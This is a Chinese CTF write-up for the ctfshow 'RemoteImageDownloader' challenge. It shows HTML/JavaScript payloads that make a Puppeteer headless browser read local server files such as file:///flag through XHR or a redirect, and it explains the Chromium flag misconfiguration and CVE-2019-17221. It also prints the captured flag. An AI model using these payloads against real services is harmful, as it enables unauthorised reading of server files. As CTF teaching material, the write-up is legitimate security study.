ctfshow—web 36D杯 RemoteImageDownloader
RemoteImageDownloader wp
本地创建html文件,内容是
<script> var xhr = new XMLHttpRequest(); xhr.onload = function(){ document.body.innerText = xhr.responseText; } xhr.open("GET","file:///flag"); xhr.send(); </script>本地cmd :scp传给服务器:scp 1.html ubuntu@ip:/home/ubuntu
进入服务器,把文件转移到可以访问的/var/www/html/目录:sudo mv 1.html /var/www/html/
进入题目,url输入 http://服务器ip/1.html
靶机会拉取html内容,解析其中js语句,访问本地服务器的/flag
然后flag内容生成页面,截图返回给本地
拿到flag
flag:ctfshow{5c4f53b9-2d9d-4ca9-afe3-4c7da0cc687b}
本题原理:Node.js + Puppeteer访问本地文件(无头 Chromium)
漏洞成因:Puppeteer 访问本地服务器文件
取决于 Chromium 启动参数:是否添加 --disable-file-system,
不加:网页 JS 可以请求 file://
加上:直接拦截file://请求
漏洞执行过程:
后端接收用户传入 URL,调用 Puppeteer page.goto(你自己的网页地址);
浏览器加载远程 HTML,执行页面内嵌 JS;
页面内 JS(XHR)发起 file:///flag 请求;
靶机 Chromium 启动参数未限制 file 协议访问,允许 HTTP 源页面内 AJAX 读取本地文件;
内容渲染在当前页面,程序等待渲染完成后截图返回图片。
exp
<script> var xhr = new XMLHttpRequest(); xhr.onload = function(){ document.body.innerText = xhr.responseText; } xhr.open("GET","file:///flag"); xhr.send(); </script>与之相关的漏洞:CVE-2019-17221(puppeteer低版本,允许导航条跳转后访问本地文件)
依赖 Puppeteer 代码缺陷,低版本才存在;后续版本官方修复,即使不开启 --disable-file-system,跳转 file:// 也会被拦截。
PhantomJS 是旧的 WebKit 无头浏览器,早已停止维护;
CVE-2019-17221:Puppeteer < 1.19.0
漏洞原理标准描述:
攻击者可控传入 URL 给后端 page.goto(attacker_url);
攻击者网页内通过 JS 执行 window.location = "file:///etc/passwd";
旧版 Puppeteer 在导航跳转后依然允许访问 file://,从而读取服务器本地文件。
exp
exp <!DOCTYPE html> <html> <script> window.location.href="file:///flag"; </script> </html>